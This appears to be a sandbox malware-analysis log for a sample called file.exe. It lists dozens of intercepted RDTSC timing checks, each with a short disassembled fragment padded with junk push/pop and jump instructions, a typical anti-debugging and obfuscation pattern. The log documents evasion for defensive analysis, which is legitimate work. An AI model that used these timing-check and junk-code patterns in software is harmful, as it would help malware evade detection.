Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29F11 second address: D29F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE69FD second address: CE6A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jng 00007FAB248C33F4h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6A0D second address: CE6A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6A11 second address: CC5D24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007FAB248C33E8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 jno 00007FAB248C33E6h 0x00000027 xor dword ptr [ebp+122D340Bh], ecx 0x0000002d call dword ptr [ebp+122D27E5h] 0x00000033 pushad 0x00000034 jmp 00007FAB248C33EBh 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d jmp 00007FAB248C33EFh 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6DC7 second address: CE6DCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6DCD second address: CE6DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6EC4 second address: CE6EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6EC9 second address: CE6ECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6ECF second address: CE6ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6F7B second address: CE6F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6F80 second address: CE6FCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 274ADA53h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FAB24F20E68h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a mov edx, dword ptr [ebp+122D39C5h] 0x00000030 add dword ptr [ebp+122D2623h], eax 0x00000036 push FFC939CFh 0x0000003b push edi 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6FCB second address: CE6FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE704C second address: CE706D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FAB24F20E73h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE71DD second address: CE71E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE77C3 second address: CE77CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7BAE second address: CE7BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D291F4 second address: D29204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAB24F20E6Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29204 second address: D29208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29A34 second address: D29AAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E79h 0x00000007 push edi 0x00000008 jmp 00007FAB24F20E73h 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 je 00007FAB24F20E7Eh 0x00000017 jg 00007FAB24F20E84h 0x0000001d js 00007FAB24F20E66h 0x00000023 jmp 00007FAB24F20E78h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9294A second address: C9294F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9294F second address: C9295F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAB24F20E72h 0x00000008 jnc 00007FAB24F20E66h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9295F second address: C92966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C92B second address: D2C93C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAB24F20E6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F145 second address: D2F149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F149 second address: D2F173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB24F20E6Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FAB24F20E76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F2AC second address: D2F2B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F2B0 second address: D2F2B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D35747 second address: D3574B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3574B second address: D35755 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAB24F20E66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D35755 second address: D3578F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jg 00007FAB248C33EEh 0x00000010 pushad 0x00000011 jmp 00007FAB248C33EBh 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34DC9 second address: D34DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34DCF second address: D34DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34DD7 second address: D34E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b jmp 00007FAB24F20E6Dh 0x00000010 push ebx 0x00000011 jmp 00007FAB24F20E77h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34F7B second address: D34F8B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAB248C33E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34F8B second address: D34F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34F8F second address: D34F9B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAB248C33E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D34F9B second address: D34FAD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAB24F20E68h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FAB24F20E66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B306 second address: D3B31E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FAB248C33F1h 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B31E second address: D3B339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FAB24F20E72h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39FD4 second address: D39FEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3DB60 second address: D3DB65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3DB65 second address: D3DB93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007FAB248C33EDh 0x00000013 pop ebx 0x00000014 jng 00007FAB248C33F2h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3DE1D second address: D3DE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3DE21 second address: D3DE3B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FAB248C33EAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FAB248C33EAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3E159 second address: D3E15E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3E15E second address: D3E17C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F9h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D479F4 second address: D479FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45984 second address: D4599D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33EFh 0x00000007 jnp 00007FAB248C33F2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4599D second address: D459A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45F30 second address: D45F51 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FAB248C33F8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45F51 second address: D45F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FAB24F20E71h 0x0000000d popad 0x0000000e push ebx 0x0000000f jns 00007FAB24F20E66h 0x00000015 jmp 00007FAB24F20E73h 0x0000001a pop ebx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4629D second address: D462B7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push ebx 0x0000000b jmp 00007FAB248C33EDh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D462B7 second address: D462BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D462BF second address: D462C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46592 second address: D465AE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FAB24F20E66h 0x00000008 jp 00007FAB24F20E66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jno 00007FAB24F20E6Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4718D second address: D471B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB248C33F2h 0x00000009 popad 0x0000000a jmp 00007FAB248C33EDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D474AF second address: D474BE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 je 00007FAB24F20E66h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4AC5C second address: D4AC64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B1B7 second address: D4B1D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FAB24F20E66h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAB24F20E73h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B1D9 second address: D4B1E3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAB248C33E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B1E3 second address: D4B1F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FAB24F20E66h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B358 second address: D4B375 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33EBh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FAB248C33ECh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B4F4 second address: D4B4F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D503D4 second address: D503D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D503D8 second address: D503DE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5700C second address: D57013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57013 second address: D57030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FAB24F20E77h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57030 second address: D57036 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57036 second address: D5703F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5703F second address: D57051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FAB248C33EAh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57051 second address: D57072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jmp 00007FAB24F20E76h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D571BE second address: D571CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33EBh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5771B second address: D57725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5788A second address: D5788E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5788E second address: D57899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57B32 second address: D57B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57B3A second address: D57B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007FAB24F20E81h 0x0000000c jnl 00007FAB24F20E68h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007FAB24F20E6Ah 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57B76 second address: D57B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FAB248C33E6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FAB248C33E6h 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57CC5 second address: D57CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57CC9 second address: D57CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57CCD second address: D57CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FAB24F20E66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FAB24F20E6Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56BE2 second address: D56BF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAB248C33EAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D610B7 second address: D610E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAB24F20E73h 0x00000010 jmp 00007FAB24F20E70h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D610E5 second address: D610EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D610EB second address: D610F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D610F1 second address: D61102 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAB248C33ECh 0x00000008 jbe 00007FAB248C33E6h 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95E1D second address: C95E44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jg 00007FAB24F20E66h 0x0000000e pop eax 0x0000000f push edi 0x00000010 jns 00007FAB24F20E66h 0x00000016 jl 00007FAB24F20E66h 0x0000001c pop edi 0x0000001d popad 0x0000001e jo 00007FAB24F20E72h 0x00000024 push edi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60C8C second address: D60C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAB248C33E6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60C97 second address: D60CA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FAB24F20E66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6ACCC second address: D6ACDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FAB248C33E6h 0x0000000a pop ecx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6ACDA second address: D6ACEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAB24F20E6Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DA9A second address: D6DA9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72CBD second address: D72CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72CC3 second address: D72CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB248C33F0h 0x00000009 jc 00007FAB248C33E6h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72CE1 second address: D72CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72CE7 second address: D72CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
